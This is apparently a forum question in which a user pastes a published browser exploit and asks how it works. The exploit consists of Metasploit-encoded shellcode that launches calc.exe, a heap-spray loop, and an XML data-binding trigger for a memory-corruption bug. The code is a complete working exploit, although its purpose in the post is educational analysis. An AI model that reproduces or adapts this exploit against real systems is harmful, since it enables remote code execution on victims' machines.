I usually do not have difficulty to read JavaScript script but this one I can't figure out the logic. The code is from an Exploit that has been published 4 days ago. You can find it at milw0rm.
Here is the code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Here is what I believe it does and I would like you to help me for the part that I misunderstand.
The variable shellcode contain the code to open the calc.exe. I do not get it how they have found that weird string... any idea?
The second thing is the variable spray. I do not understand this weird loop?
The third thing is the variable memory that is never used anywhere, why do they create it?
Last thing, What does the XML tag do in the page?
Update
Alright, for the moment I have good answers but mostly very
general. I would like more explanations of the value of the
code. An example is unescape("%u0a0a%u0a0a");. What does it mean?
Same thing for the loop, why did the developer write:
length < 0xd0000? I would like a deeper understanding, not
only the theory of this code.